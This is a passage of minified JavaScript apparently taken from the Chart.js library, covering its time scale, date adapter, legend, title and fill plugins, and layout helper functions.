n,i,r=[],s={},o=t.length;for(n=0;n<o;++n)s[i=t[n]]=n,r.push({value:i,major:!1});return 0!==o&&a?function(e,t,a,n){var i,r,s=e._adapter,o=+s.startOf(t[0].value,n),d=t[t.length-1].value;for(i=o;i<=d;i=+s.add(i,1,n))(r=a[i])>=0&&(t[r].major=!0);return t}(e,r,s,a):r}var _n=ya.extend({initialize:function(){this.mergeTicksOptions(),ya.prototype.initialize.call(this)},update:function(){var e=this,t=e.options,a=t.time||(t.time={}),n=e._adapter=new ia._date(t.adapters.date);return Ka("time scale",a.format,"time.format","time.parser"),Ka("time scale",a.min,"time.min","ticks.min"),Ka("time scale",a.max,"time.max","ticks.max"),R.mergeIf(a.displayFormats,n.formats()),ya.prototype.update.apply(e,arguments)},getRightValue:function(e){return e&&void 0!==e.t&&(e=e.t),ya.prototype.getRightValue.call(this,e)},determineDataLimits:function(){var e,t,a,n,i,r,s,o=this,d=o.chart,l=o._adapter,u=o.options,_=u.time.unit||"day",m=Qa,h=Xa,c=[],f=[],M=[],p=o._getLabels();for(e=0,a=p.length;e<a;++e)M.push(dn(o,p[e]));for(e=0,a=(d.data.datasets||[]).length;e<a;++e)if(d.isDatasetVisible(e))if(i=d.data.datasets[e].data,R.isObject(i[0]))for(f[e]=[],t=0,n=i.length;t<n;++t)r=dn(o,i[t]),c.push(r),f[e][t]=r;else f[e]=M.slice(0),s||(c=c.concat(M),s=!0);else f[e]=[];M.length&&(m=Math.min(m,M[0]),h=Math.max(h,M[M.length-1])),c.length&&(c=a>1?function(e){var t,a,n,i={},r=[];for(t=0,a=e.length;t<a;++t)i[n=e[t]]||(i[n]=!0,r.push(n));return r}(c).sort(an):c.sort(an),m=Math.min(m,c[0]),h=Math.max(h,c[c.length-1])),m=dn(o,nn(u))||m,h=dn(o,rn(u))||h,m=m===Qa?+l.startOf(Date.now(),_):m,h=h===Xa?+l.endOf(Date.now(),_)+1:h,o.min=Math.min(m,h),o.max=Math.max(m+1,h),o._table=[],o._timestamps={data:c,datasets:f,labels:M}},buildTicks:function(){var e,t,a,n=this,i=n.min,r=n.max,s=n.options,o=s.ticks,d=s.time,l=n._timestamps,u=[],_=n.getLabelCapacity(i),m=o.source,h=s.distribution;for(l="data"===m||"auto"===m&&"series"===h?l.data:"labels"===m?l.labels:function(e,t,a,n){var i,r=e._adapter,s=e.options,o=s.time,d=o.unit||ln(o.minUnit,t,a,n),l=Za([o.stepSize,o.unitStepSize,1]),u="week"===d&&o.isoWeekday,_=t,m=[];if(u&&(_=+r.startOf(_,"isoWeek",u)),_=+r.startOf(_,u?"day":d),r.diff(a,t,d)>1e5*l)throw t+" and "+a+" are too far apart with stepSize of "+l+" "+d;for(i=_;i<a;i=+r.add(i,l,d))m.push(i);return i!==a&&"ticks"!==s.bounds||m.push(i),m}(n,i,r,_),"ticks"===s.bounds&&l.length&&(i=l[0],r=l[l.length-1]),i=dn(n,nn(s))||i,r=dn(n,rn(s))||r,e=0,t=l.length;e<t;++e)(a=l[e])>=i&&a<=r&&u.push(a);return n.min=i,n.max=r,n._unit=d.unit||(o.autoSkip?ln(d.minUnit,n.min,n.max,_):function(e,t,a,n,i){var r,s;for(r=tn.length-1;r>=tn.indexOf(a);r--)if(s=tn[r],en[s].common&&e._adapter.diff(i,n,s)>=t-1)return s;return tn[a?tn.indexOf(a):0]}(n,u.length,d.minUnit,n.min,n.max)),n._majorUnit=o.major.enabled&&"year"!==n._unit?function(e){for(var t=tn.indexOf(e)+1,a=tn.length;t<a;++t)if(en[tn[t]].common)return tn[t]}(n._unit):void 0,n._table=function(e,t,a,n){if("linear"===n||!e.length)return[{time:t,pos:0},{time:a,pos:1}];var i,r,s,o,d,l=[],u=[t];for(i=0,r=e.length;i<r;++i)(o=e[i])>t&&o<a&&u.push(o);for(u.push(a),i=0,r=u.length;i<r;++i)d=u[i+1],s=u[i-1],o=u[i],void 0!==s&&void 0!==d&&Math.round((d+s)/2)===o||l.push({time:o,pos:i/(r-1)});return l}(n._timestamps.data,i,r,h),n._offsets=function(e,t,a,n,i){var r,s,o=0,d=0;return i.offset&&t.length&&(r=sn(e,"time",t[0],"pos"),o=1===t.length?1-r:(sn(e,"time",t[1],"pos")-r)/2,s=sn(e,"time",t[t.length-1],"pos"),d=1===t.length?s:(s-sn(e,"time",t[t.length-2],"pos"))/2),{start:o,end:d,factor:1/(o+1+d)}}(n._table,u,0,0,s),o.reverse&&u.reverse(),un(n,u,n._majorUnit)},getLabelForIndex:function(e,t){var a=this,n=a._adapter,i=a.chart.data,r=a.options.time,s=i.labels&&e<i.labels.length?i.labels[e]:"",o=i.datasets[t].data[e];return R.isObject(o)&&(s=a.getRightValue(o)),r.tooltipFormat?n.format(on(a,s),r.tooltipFormat):"string"==typeof s?s:n.format(on(a,s),r.displayFormats.datetime)},tickFormatFunction:function(e,t,a,n){var i=this._adapter,r=this.options,s=r.time.displayFormats,o=s[this._unit],d=this._majorUnit,l=s[d],u=a[t],_=r.ticks,m=d&&l&&u&&u.major,h=i.format(e,n||(m?l:o)),c=m?_.major:_.minor,f=Za([c.callback,c.userCallback,_.callback,_.userCallback]);return f?f(h,t,a):h},convertTicksToLabels:function(e){var t,a,n=[];for(t=0,a=e.length;t<a;++t)n.push(this.tickFormatFunction(e[t].value,t,e));return n},getPixelForOffset:function(e){var t=this._offsets,a=sn(this._table,"time",e,"pos");return this.getPixelForDecimal((t.start+a)*t.factor)},getPixelForValue:function(e,t,a){var n=null;if(void 0!==t&&void 0!==a&&(n=this._timestamps.datasets[a][t]),null===n&&(n=dn(this,e)),null!==n)return this.getPixelForOffset(n)},getPixelForTick:function(e){var t=this.getTicks();return e>=0&&e<t.length?this.getPixelForOffset(t[e].value):null},getValueForPixel:function(e){var t=this._offsets,a=this.getDecimalForPixel(e)/t.factor-t.end,n=sn(this._table,"pos",a,"time");return this._adapter._create(n)},_getLabelSize:function(e){var t=this.options.ticks,a=this.ctx.measureText(e).width,n=R.toRadians(this.isHorizontal()?t.maxRotation:t.minRotation),i=Math.cos(n),r=Math.sin(n),s=$a(t.fontSize,C.global.defaultFontSize);return{w:a*i+s*r,h:a*r+s*i}},getLabelWidth:function(e){return this._getLabelSize(e).w},getLabelCapacity:function(e){var t=this,a=t.options.time,n=a.displayFormats,i=n[a.unit]||n.millisecond,r=t.tickFormatFunction(e,0,un(t,[e],t._majorUnit),i),s=t._getLabelSize(r),o=Math.floor(t.isHorizontal()?t.width/s.w:t.height/s.h);return t.options.offset&&o--,o>0?o:1}}),mn={position:"bottom",distribution:"linear",bounds:"data",adapters:{},time:{parser:!1,unit:!1,round:!1,displayFormat:!1,isoWeekday:!1,minUnit:"millisecond",displayFormats:{}},ticks:{autoSkip:!1,source:"auto",major:{enabled:!1}}};_n._defaults=mn;var hn={category:Ya,linear:Sa,logarithmic:Fa,radialLinear:Ga,time:_n},cn={datetime:"MMM D, YYYY, h:mm:ss a",millisecond:"h:mm:ss.SSS a",second:"h:mm:ss a",minute:"h:mm a",hour:"hA",day:"MMM D",week:"ll",month:"MMM YYYY",quarter:"[Q]Q - YYYY",year:"YYYY"};ia._date.override("function"==typeof e?{_id:"moment",formats:function(){return cn},parse:function(t,a){return"string"==typeof t&&"string"==typeof a?t=e(t,a):t instanceof e||(t=e(t)),t.isValid()?t.valueOf():null},format:function(t,a){return e(t).format(a)},add:function(t,a,n){return e(t).add(a,n).valueOf()},diff:function(t,a,n){return e(t).diff(e(a),n)},startOf:function(t,a,n){return t=e(t),"isoWeek"===a?t.isoWeekday(n).valueOf():t.startOf(a).valueOf()},endOf:function(t,a){return e(t).endOf(a).valueOf()},_create:function(t){return e(t)}}:{}),C._set("global",{plugins:{filler:{propagate:!0}}});var fn={dataset:function(e){var t=e.fill,a=e.chart,n=a.getDatasetMeta(t),i=n&&a.isDatasetVisible(t)&&n.dataset._children||[],r=i.length||0;return r?function(e,t){return t<r&&i[t]._view||null}:null},boundary:function(e){var t=e.boundary,a=t?t.x:null,n=t?t.y:null;return R.isArray(t)?function(e,a){return t[a]}:function(e){return{x:null===a?e.x:a,y:null===n?e.y:n}}}};function Mn(e,t,a){var n,i=e._model||{},r=i.fill;if(void 0===r&&(r=!!i.backgroundColor),!1===r||null===r)return!1;if(!0===r)return"origin";if(n=parseFloat(r,10),isFinite(n)&&Math.floor(n)===n)return"-"!==r[0]&&"+"!==r[0]||(n=t+n),!(n===t||n<0||n>=a)&&n;switch(r){case"bottom":return"start";case"top":return"end";case"zero":return"origin";case"origin":case"start":case"end":return r;default:return!1}}function pn(e){return(e.el._scale||{}).getPointPositionForValue?function(e){var t,a,n,i,r,s=e.el._scale,o=s.options,d=s.chart.data.labels.length,l=e.fill,u=[];if(!d)return null;for(t=o.ticks.reverse?s.max:s.min,a=o.ticks.reverse?s.min:s.max,n=s.getPointPositionForValue(0,t),i=0;i<d;++i)r="start"===l||"end"===l?s.getPointPositionForValue(i,"start"===l?t:a):s.getBasePosition(i),o.gridLines.circular&&(r.cx=n.x,r.cy=n.y,r.angle=s.getIndexAngle(i)-Math.PI/2),u.push(r);return u}(e):function(e){var t,a=e.el._model||{},n=e.el._scale||{},i=e.fill,r=null;if(isFinite(i))return null;if("start"===i?r=void 0===a.scaleBottom?n.bottom:a.scaleBottom:"end"===i?r=void 0===a.scaleTop?n.top:a.scaleTop:void 0!==a.scaleZero?r=a.scaleZero:n.getBasePixel&&(r=n.getBasePixel()),null!=r){if(void 0!==r.x&&void 0!==r.y)return r;if(R.isFinite(r))return{x:(t=n.isHorizontal())?r:null,y:t?null:r}}return null}(e)}function gn(e,t,a){var n,i=e[t].fill,r=[t];if(!a)return i;for(;!1!==i&&-1===r.indexOf(i);){if(!isFinite(i))return i;if(!(n=e[i]))return!1;if(n.visible)return i;r.push(i),i=n.fill}return!1}function yn(e){var t=e.fill,a="dataset";return!1===t?null:(isFinite(t)||(a="boundary"),fn[a](e))}function Ln(e){return e&&!e.skip}function Yn(e,t,a,n,i){var r,s,o,d;if(n&&i){for(e.moveTo(t[0].x,t[0].y),r=1;r<n;++r)R.canvas.lineTo(e,t[r-1],t[r]);if(void 0===a[0].angle)for(e.lineTo(a[i-1].x,a[i-1].y),r=i-1;r>0;--r)R.canvas.lineTo(e,a[r],a[r-1],!0);else for(s=a[0].cx,o=a[0].cy,d=Math.sqrt(Math.pow(a[0].x-s,2)+Math.pow(a[0].y-o,2)),r=i-1;r>0;--r)e.arc(s,o,d,a[r].angle,a[r-1].angle,!0)}}function vn(e,t,a,n,i,r){var s,o,d,l,u,_,m,h,c=t.length,f=n.spanGaps,M=[],p=[],g=0,y=0;for(e.beginPath(),s=0,o=c;s<o;++s)u=a(l=t[d=s%c]._view,d,n),_=Ln(l),m=Ln(u),r&&void 0===h&&_&&(o=c+(h=s+1)),_&&m?(g=M.push(l),y=p.push(u)):g&&y&&(f?(_&&M.push(l),m&&p.push(u)):(Yn(e,M,p,g,y),g=y=0,M=[],p=[]));Yn(e,M,p,g,y),e.closePath(),e.fillStyle=i,e.fill()}var kn={id:"filler",afterDatasetsUpdate:function(e,t){var a,n,i,r,s=(e.data.datasets||[]).length,o=t.propagate,d=[];for(n=0;n<s;++n)r=null,(i=(a=e.getDatasetMeta(n)).dataset)&&i._model&&i instanceof ve.Line&&(r={visible:e.isDatasetVisible(n),fill:Mn(i,n,s),chart:e,el:i}),a.$filler=r,d.push(r);for(n=0;n<s;++n)(r=d[n])&&(r.fill=gn(d,n,o),r.boundary=pn(r),r.mapper=yn(r))},beforeDatasetsDraw:function(e){var t,a,n,i,r,s,o,d=e._getSortedVisibleDatasetMetas(),l=e.ctx;for(a=d.length-1;a>=0;--a)(t=d[a].$filler)&&t.visible&&(i=(n=t.el)._view,r=n._children||[],s=t.mapper,o=i.backgroundColor||C.global.defaultColor,s&&o&&r.length&&(R.canvas.clipArea(l,e.chartArea),vn(l,r,s,i,o,n._loop),R.canvas.unclipArea(l)))}},bn=R.rtl.getRtlAdapter,Dn=R.noop,wn=R.valueOrDefault;function Tn(e,t){return e.usePointStyle&&e.boxWidth>t?t:e.boxWidth}C._set("global",{legend:{display:!0,position:"top",align:"center",fullWidth:!0,reverse:!1,weight:1e3,onClick:function(e,t){var a=t.datasetIndex,n=this.chart,i=n.getDatasetMeta(a);i.hidden=null===i.hidden?!n.data.datasets[a].hidden:null,n.update()},onHover:null,onLeave:null,labels:{boxWidth:40,padding:10,generateLabels:function(e){var t=e.data.datasets,a=e.options.legend||{},n=a.labels&&a.labels.usePointStyle;return e._getSortedDatasetMetas().map((function(a){var i=a.controller.getStyle(n?0:void 0);return{text:t[a.index].label,fillStyle:i.backgroundColor,hidden:!e.isDatasetVisible(a.index),lineCap:i.borderCapStyle,lineDash:i.borderDash,lineDashOffset:i.borderDashOffset,lineJoin:i.borderJoinStyle,lineWidth:i.borderWidth,strokeStyle:i.borderColor,pointStyle:i.pointStyle,rotation:i.rotation,datasetIndex:a.index}}),this)}}},legendCallback:function(e){var t,a,n,i=document.createElement("ul"),r=e.data.datasets;for(i.setAttribute("class",e.id+"-legend"),t=0,a=r.length;t<a;t++)(n=i.appendChild(document.createElement("li"))).appendChild(document.createElement("span")).style.backgroundColor=r[t].backgroundColor,r[t].label&&n.appendChild(document.createTextNode(r[t].label));return i.outerHTML}});var xn=K.extend({initialize:function(e){R.extend(this,e),this.legendHitBoxes=[],this._hoveredItem=null,this.doughnutMode=!1},beforeUpdate:Dn,update:function(e,t,a){var n=this;return n.beforeUpdate(),n.maxWidth=e,n.maxHeight=t,n.margins=a,n.beforeSetDimensions(),n.setDimensions(),n.afterSetDimensions(),n.beforeBuildLabels(),n.buildLabels(),n.afterBuildLabels(),n.beforeFit(),n.fit(),n.afterFit(),n.afterUpdate(),n.minSize},afterUpdate:Dn,beforeSetDimensions:Dn,setDimensions:function(){var e=this;e.isHorizontal()?(e.width=e.maxWidth,e.left=0,e.right=e.width):(e.height=e.maxHeight,e.top=0,e.bottom=e.height),e.paddingLeft=0,e.paddingTop=0,e.paddingRight=0,e.paddingBottom=0,e.minSize={width:0,height:0}},afterSetDimensions:Dn,beforeBuildLabels:Dn,buildLabels:function(){var e=this,t=e.options.labels||{},a=R.callback(t.generateLabels,[e.chart],e)||[];t.filter&&(a=a.filter((function(a){return t.filter(a,e.chart.data)}))),e.options.reverse&&a.reverse(),e.legendItems=a},afterBuildLabels:Dn,beforeFit:Dn,fit:function(){var e=this,t=e.options,a=t.labels,n=t.display,i=e.ctx,r=R.options._parseFont(a),s=r.size,o=e.legendHitBoxes=[],d=e.minSize,l=e.isHorizontal();if(l?(d.width=e.maxWidth,d.height=n?10:0):(d.width=n?10:0,d.height=e.maxHeight),n){if(i.font=r.string,l){var u=e.lineWidths=[0],_=0;i.textAlign="left",i.textBaseline="middle",R.each(e.legendItems,(function(e,t){var n=Tn(a,s)+s/2+i.measureText(e.text).width;(0===t||u[u.length-1]+n+2*a.padding>d.width)&&(_+=s+a.padding,u[u.length-(t>0?0:1)]=0),o[t]={left:0,top:0,width:n,height:s},u[u.length-1]+=n+a.padding})),d.height+=_}else{var m=a.padding,h=e.columnWidths=[],c=e.columnHeights=[],f=a.padding,M=0,p=0;R.each(e.legendItems,(function(e,t){var n=Tn(a,s)+s/2+i.measureText(e.text).width;t>0&&p+s+2*m>d.height&&(f+=M+a.padding,h.push(M),c.push(p),M=0,p=0),M=Math.max(M,n),p+=s+m,o[t]={left:0,top:0,width:n,height:s}})),f+=M,h.push(M),c.push(p),d.width+=f}e.width=d.width,e.height=d.height}else e.width=d.width=e.height=d.height=0},afterFit:Dn,isHorizontal:function(){return"top"===this.options.position||"bottom"===this.options.position},draw:function(){var e=this,t=e.options,a=t.labels,n=C.global,i=n.defaultColor,r=n.elements.line,s=e.height,o=e.columnHeights,d=e.width,l=e.lineWidths;if(t.display){var u,_=bn(t.rtl,e.left,e.minSize.width),m=e.ctx,h=wn(a.fontColor,n.defaultFontColor),c=R.options._parseFont(a),f=c.size;m.textAlign=_.textAlign("left"),m.textBaseline="middle",m.lineWidth=.5,m.strokeStyle=h,m.fillStyle=h,m.font=c.string;var M=Tn(a,f),p=e.legendHitBoxes,g=function(e,n){switch(t.align){case"start":return a.padding;case"end":return e-n;default:return(e-n+a.padding)/2}},y=e.isHorizontal();u=y?{x:e.left+g(d,l[0]),y:e.top+a.padding,line:0}:{x:e.left+a.padding,y:e.top+g(s,o[0]),line:0},R.rtl.overrideTextDirection(e.ctx,t.textDirection);var L=f+a.padding;R.each(e.legendItems,(function(t,n){var h=m.measureText(t.text).width,c=M+f/2+h,Y=u.x,v=u.y;_.setWidth(e.minSize.width),y?n>0&&Y+c+a.padding>e.left+e.minSize.width&&(v=u.y+=L,u.line++,Y=u.x=e.left+g(d,l[u.line])):n>0&&v+L>e.top+e.minSize.height&&(Y=u.x=Y+e.columnWidths[u.line]+a.padding,u.line++,v=u.y=e.top+g(s,o[u.line]));var k=_.x(Y);!function(e,t,n){if(!(isNaN(M)||M<=0)){m.save();var s=wn(n.lineWidth,r.borderWidth);if(m.fillStyle=wn(n.fillStyle,i),m.lineCap=wn(n.lineCap,r.borderCapStyle),m.lineDashOffset=wn(n.lineDashOffset,r.borderDashOffset),m.lineJoin=wn(n.lineJoin,r.borderJoinStyle),m.lineWidth=s,m.strokeStyle=wn(n.strokeStyle,i),m.setLineDash&&m.setLineDash(wn(n.lineDash,r.borderDash)),a&&a.usePointStyle){var o=M*Math.SQRT2/2,d=_.xPlus(e,M/2),l=t+f/2;R.canvas.drawPoint(m,n.pointStyle,o,d,l,n.rotation)}else m.fillRect(_.leftForLtr(e,M),t,M,f),0!==s&&m.strokeRect(_.leftForLtr(e,M),t,M,f);m.restore()}}(k,v,t),p[n].left=_.leftForLtr(k,p[n].width),p[n].top=v,function(e,t,a,n){var i=f/2,r=_.xPlus(e,M+i),s=t+i;m.fillText(a.text,r,s),a.hidden&&(m.beginPath(),m.lineWidth=2,m.moveTo(r,s),m.lineTo(_.xPlus(r,n),s),m.stroke())}(k,v,t,h),y?u.x+=c+a.padding:u.y+=L})),R.rtl.restoreTextDirection(e.ctx,t.textDirection)}},_getLegendItemAt:function(e,t){var a,n,i,r=this;if(e>=r.left&&e<=r.right&&t>=r.top&&t<=r.bottom)for(i=r.legendHitBoxes,a=0;a<i.length;++a)if(e>=(n=i[a]).left&&e<=n.left+n.width&&t>=n.top&&t<=n.top+n.height)return r.legendItems[a];return null},handleEvent:function(e){var t,a=this,n=a.options,i="mouseup"===e.type?"click":e.type;if("mousemove"===i){if(!n.onHover&&!n.onLeave)return}else{if("click"!==i)return;if(!n.onClick)return}t=a._getLegendItemAt(e.x,e.y),"click"===i?t&&n.onClick&&n.onClick.call(a,e.native,t):(n.onLeave&&t!==a._hoveredItem&&(a._hoveredItem&&n.onLeave.call(a,e.native,a._hoveredItem),a._hoveredItem=t),n.onHover&&t&&n.onHover.call(a,e.native,t))}});function Sn(e,t){var a=new xn({ctx:e.ctx,options:t,chart:e});ft.configure(e,a,t),ft.addBox(e,a),e.legend=a}var Hn={id:"legend",_element:xn,beforeInit:function(e){var t=e.options.legend;t&&Sn(e,t)},beforeUpdate:function(e){var t=e.options.legend,a=e.legend;t?(R.mergeIf(t,C.global.legend),a?(ft.configure(e,a,t),a.options=t):Sn(e,t)):a&&(ft.removeBox(e,a),delete e.legend)},afterEvent:function(e,t){var a=e.legend;a&&a.handleEvent(t)}},jn=R.noop;C._set("global",{title:{display:!1,fontStyle:"bold",fullWidth:!0,padding:10,position:"top",text:"",weight:2e3}});var Pn=K.extend({initialize:function(e){R.extend(this,e),this.legendHitBoxes=[]},beforeUpdate:jn,update:function(e,t,a){var n=this;return n.beforeUpdate(),n.maxWidth=e,n.maxHeight=t,n.margins=a,n.beforeSetDimensions(),n.setDimensions(),n.afterSetDimensions(),n.beforeBuildLabels(),n.buildLabels(),n.afterBuildLabels(),n.beforeFit(),n.fit(),n.afterFit(),n.afterUpdate(),n.minSize},afterUpdate:jn,beforeSetDimensions:jn,setDimensions:function(){var e=this;e.isHorizontal()?(e.width=e.maxWidth,e.left=0,e.right=e.width):(e.height=e.maxHeight,e.top=0,e.bottom=e.height),e.paddingLeft=0,e.paddingTop=0,e.paddingRight=0,e.paddingBottom=0,e.minSize={width:0,height:0}},afterSetDimensions:jn,beforeBuildLabels:jn,buildLabels:jn,afterBuildLabels:jn,beforeFit:jn,fit:function(){var e,t=this,a=t.options,n=t.minSize={},i=t.isHorizontal();a.display?(e=(R.isArray(a.text)?a.text.length:1)*R.options._parseFont(a).lineHeight+2*a.padding,t.width=n.width=i?t.maxWidth:e,t.height=n.height=i?e:t.maxHeight):t.width=n.width=t.height=n.height=0},afterFit:jn,isHorizontal:function(){var e=this.options.position;return"top"===e||"bottom"===e},draw:function(){var e=this,t=e.ctx,a=e.options;if(a.display){var n,i,r,s=R.options._parseFont(a),o=s.lineHeight,d=o/2+a.padding,l=0,u=e.top,_=e.left,m=e.bottom,h=e.right;t.fillStyle=R.valueOrDefault(a.fontColor,C.global.defaultFontColor),t.font=s.string,e.isHorizontal()?(i=_+(h-_)/2,r=u+d,n=h-_):(i="left"===a.position?_+d:h-d,r=u+(m-u)/2,n=m-u,l=Math.PI*("left"===a.position?-.5:.5)),t.save(),t.translate(i,r),t.rotate(l),t.textAlign="center",t.textBaseline="middle";var c=a.text;if(R.isArray(c))for(var f=0,M=0;M<c.length;++M)t.fillText(c[M],0,f,n),f+=o;else t.fillText(c,0,0,n);t.restore()}}});function On(e,t){var a=new Pn({ctx:e.ctx,options:t,chart:e});ft.configure(e,a,t),ft.addBox(e,a),e.titleBlock=a}var An={},Fn=kn,Wn=Hn,Cn={id:"title",_element:Pn,beforeInit:function(e){var t=e.options.title;t&&On(e,t)},beforeUpdate:function(e){var t=e.options.title,a=e.titleBlock;t?(R.mergeIf(t,C.global.title),a?(ft.configure(e,a,t),a.options=t):On(e,t)):a&&(ft.removeBox(e,a),delete e.titleBlock)}};for(var En in An.filler=Fn,An.legend=Wn,An.title=Cn,ta.helpers=R,function(){function e(e,t,a){var n;return"string"==typeof e?(n=parseInt(e,10),-1!==e.indexOf("%")&&(n=n/100*t.parentNode[a])):n=e,n}function t(e){return null!=e&&"none"!==e}function a(a,n,i){var r=document.defaultView,s=R._getParentNode(a),o=r.getComputedStyle(a)[n],d=r.getComputedStyle(s)[n],l=t(o),u=t(d),_=Number.POSITIVE_INFINITY;return l||u?Math.min(l?e(o,a,i):_,u?e(d,s,i):_):"none"}R.where=function(e,t){if(R.isArray(e)&&Array.prototype.filter)return e.filter(t);var a=[];return R.each(e,(function(e){t(e)&&a.push(e)})),a},R.findIndex=Array.prototype.findIndex?function(e,t,a){return e.findIndex(t,a)}:function(e,t,a){a=void 0===a?e:a;for(var n=0,i=e.length;n<i;++n)if(t.call(a,e[n],n,e))return n;return-1},R.findNextWhere=function(e,t,a){R.isNullOrUndef(a)&&(a=-1);for(var n=a+1;n<e.length;n++){var i=e[n];if(t(i))return i}},R.findPreviousWhere=function(e,t,a){R.isNullOrUndef(a)&&(a=e.length);for(var n=a-1;n>=0;n--){var i=e[n];if(t(i))return i}},R.isNumber=function(e){return!isNaN(parseFloat(e))&&isFinite(e)},R.almostEquals=function(e,t,a){return Math.abs(e-t)<a},R.almostWhole=function(e,t){var a=Math.round(e);return a-t<=e&&a+t>=e},R.max=function(e){return e.reduce((function(e,t){return isNaN(t)?e:Math.max(e,t)}),Number.NEGATIVE_INFINITY)},R.min=function(e){return e.reduce((function(e,t){return isNaN(t)?e:Math.min(e,t)}),Number.POSITIVE_INFINITY)},R.sign=Math.sign?function(e){return Math.sign(e)}:function(e){return 0==(e=+e)||isNaN(e)?e:e>0?1:-1},R.toRadians=function(e){return e*(Math.PI/180)},R.toDegrees=function(e){return e*(180/Math.PI)},R._decimalPlaces=function(e){if(R.isFinite(e)){for(var t=1,a=0;Math.round(e*t)/t!==e;)t*=10,a++;return a}},R.getAngleFromPoint=function(e,t){var a=t.x-e.x,n=t.y-e.y,i=Math.sqrt(a*a+n*n),r=Math.atan2(n,a);return r<-.5*Math.PI&&(r+=2*Math.PI),{angle:r,distance:i}},R.distanceBetweenPoints=function(e,t){return Math.sqrt(Math.pow(t.x-e.x,2)+Math.pow(t.y-e.y,2))},R.aliasPixel=function(e){return e%2==0?0:.5},R._alignPixel=function(e,t,a){var n=e.currentDevicePixelRatio,i=a/2;return Math.round((t-i)*n)/n+i},R.splineCurve=function(e,t,a,n){var i=e.skip?t:e,r=t,s=a.skip?t:a,o=Math.sqrt(Math.pow(r.x-i.x,2)+Math.pow(r.y-i.y,2)),d=Math.sqrt(Math.pow(s.x-r.x,2)+Math.pow(s.y-r.y,2)),l=o/(o+d),u=d/(o+d),_=n*(l=isNaN(l)?0:l),m=n*(u=isNaN(u)?0:u);return{previous:{x:r.x-_*(s.x-i.x),y:r.y-_*(s.y-i.y)},next:{x:r.x+m*(s.x-i.x),y:r.y+m*(s.y-i.y)}}},R.EPSILON=Number.EPSILON||1e-14,R.splineCurveMonotone=function(e){var t,a,n,i,r,s,o,d,l,u=(e||[]).map((function(e){return{model:e._model,deltaK:0,mK:0}})),_=u.length;for(t=0;t<_;++t)if(!(n=u[t]).model.skip){if(a=t>0?u[t-1]:null,(i=t<_-1?u[t+1]:null)&&!i.model.skip){var m=i.model.x-n.model.x;n.deltaK=0!==m?(i.model.y-n.model.y)/m:0}!a||a.model.skip?n.mK=n.deltaK:!i||i.model.skip?n.mK=a.deltaK:this.sign(a.deltaK)!==this.sign(n.deltaK)?n.mK=0:n.mK=(a.deltaK+n.deltaK)/2}for(t=0;t<_-1;++t)n=u[t],i=u[t+1],n.model.skip||i.model.skip||(R.almostEquals(n.deltaK,0,this.EPSILON)?n.mK=i.mK=0:(r=n.mK/n.deltaK,s=i.mK/n.deltaK,(d=Math.pow(r,2)+Math.pow(s,2))<=9||(o=3/Math.sqrt(d),n.mK=r*o*n.deltaK,i.mK=s*o*n.deltaK)));for(t=0;t<_;++t)(n=u[t]).model.skip||(a=t>0?u[t-1]:null,i=t<_-1?u[t+1]:null,a&&!a.model.skip&&(l=(n.model.x-a.model.x)/3,n.model.controlPointPreviousX=n.model.x-l,n.model.controlPointPreviousY=n.model.y-l*n.mK),i&&!i.model.skip&&(l=(i.model.x-n.model.x)/3,n.model.controlPointNextX=n.model.x+l,n.model.controlPointNextY=n.model.y+l*n.mK))},R.nextItem=function(e,t,a){return a?t>=e.length-1?e[0]:e[t+1]:t>=e.length-1?e[e.length-1]:e[t+1]},R.previousItem=function(e,t,a){return a?t<=0?e[e.length-1]:e[t-1]:t<=0?e[0]:e[t-1]},R.niceNum=function(e,t){var a=Math.floor(R.log10(e)),n=e/Math.pow(10,a);return(t?n<1.5?1:n<3?2:n<7?5:10:n<=1?1:n<=2?2:n<=5?5:10)*Math.pow(10,a)},R.requestAnimFrame="undefined"==typeof window?function(e){e()}:window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(e){return window.setTimeout(e,1e3/60)},R.getRelativePosition=function(e,t){var a,n,i=e.originalEvent||e,r=e.target||e.srcElement,s=r.getBoundingClientRect(),o=i.touches;o&&o.length>0?(a=o[0].clientX,n=o[0].clientY):(a=i.clientX,n=i.clientY);var d=parseFloat(R.getStyle(r,"padding-left")),l=parseFloat(R.getStyle(r,"padding-top")),u=parseFloat(R.getStyle(r,"padding-right")),_=parseFloat(R.getStyle(r,"padding-bottom")),m=s.right-s.left-d-u,h=s.bottom-s.top-l-_;return{x:a=Math.round((a-s.left-d)/m*r.width/t.currentDevicePixelRatio),y:n=Math.round((n-s.top-l)/h*r.height/t.currentDevicePixelRatio)}},R.getConstraintWidth=function(e){return a(e,"max-width","clientWidth")},R.getConstraintHeight=function(e){return a(e,"max-height","clientHeight")},R._calculatePadding=function(e,t,a){return(t=R.getStyle(e,t)).indexOf("%")>-1?a*parseInt(t,10)/100:parseInt(t,10)},R._getParentNode=function(e){var t=e.parentNode;return t&&"[object ShadowRoot]"===t.toString()&&(t=t.host),t},R.getMaximumWidth=function(e){var t=R._getParentNode(e);if(!t)return e.clientWidth;var a=t.clientWidth,n=a-R._calculatePadding(t,"padding-left",a)-R._calculatePadding(t,"padding-right",a),i=R.getConstraintWidth(e);return isNaN(i)?n:Math.min(n,i)},R.getMaximumHeight=function(e){var t=R._getParentNode(e);if(!t)return e.clientHeight;var a=t.clientHeight,n=a-R._calculatePadding(t,"padding-top",a)-R._calculatePadding(t,"padding-bottom",a),i=R.getConstraintHeight(e);return isNaN(i)?n:Math.min(n,i)},R.getStyle=function(e,t){return e.currentStyle?e.currentStyle[t]:document.defaultView.getComputedStyle(e,null).getPropertyValue(t)},R.retinaScale=function(e,t){var a=e.currentDevicePixelRatio=t||"undefined"!=typeof window&&window.devicePixelRatio||1;if(1!==a){var n=e.canvas,i=e.height,r=e.width;n.height=i*a,n.width=r*a,e.ctx.scale(a,a),n.style.height||n.style.width||(n.style.height=i+"px",n.style.width=r+"px")}},R.fontString=function(e,t,a){return t+" "+e+"px "+a},R.longestText=function(e,t,a,n){var i=(n=n||{}).data=n.data||{},r=n.garbageCollect=n.garbageCollect||[];n.font!==t&&(i=n.data={},r=n.garbageCollect=[],n.font=t),e.font=t;var s,o,d,l,u,_=0,m=a.length;for(s=0;s<m;s++)if(null!=(l=a[s])&&!0!==R.isArray(l))_=R.measureText(e,i,r,_,l);else if(R.isArray(l))for(o=0,d=l.length;o<d;o++)null==(u=l[o])||R.isArray(u)||(_=R.measureText(e,i,r,_,u));var h=r.length/2;if(h>a.length){for(s=0;s<h;s++)delete i[r[s]];r.splice(0,h)}return _},R.measureText=function(e,t,a,n,i){var r=t[i];return 